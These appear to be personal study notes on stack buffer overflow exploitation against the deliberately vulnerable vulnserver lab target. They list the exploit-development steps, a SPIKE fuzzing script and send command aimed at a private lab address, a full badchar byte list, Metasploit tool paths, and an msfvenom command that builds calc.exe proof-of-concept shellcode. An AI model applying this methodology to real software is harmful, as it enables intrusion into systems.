- 0 - Crash the application
- 1 - Fuzzing (find aprox number of bytes where the crash took place)
- 2 - Find offset
- 3 - EIP control
- 4 - Check for enough space on buffer
- 5 - Badchars counting
- 6 - Find return address (JMP ESP)
- 7 - Create payload
Fuzzing: example with vulnserver + spike on TRUN command
cat > trun.spk <<EOF
s_readline();
s_string("TRUN ");
s_string_variable("COMMAND");
EOF
Now, start wireshark filtering on the target IP/PORT below and run the trun.spk:
generic_send_tcp 172.16.42.131 9999 trun.spk 0 0
Once a crash takes place, go to wireshark to locate the crash.
Badchars
From the block below, the next ones were not included (most common badchars):
\x00 --> null byte
\x0a --> new line character (AKA "\n")
So…actual list of badchars:
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
Usefull tools
create_pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
/usr/bin/msf-pattern_create
pattern_offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb
/usr/bin/msf-pattern_offset
nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
/usr/bin/msf-nasm_shell
msfvenom
/usr/share/metasploit-framework/msfvenom
/usr/bin/msfvenom
Shellcode POC: calc.exe
msfvenom -p windows/exec -b '\x00\x0A' -f python --var-name buffer CMD=calc.exe EXITFUNC=thread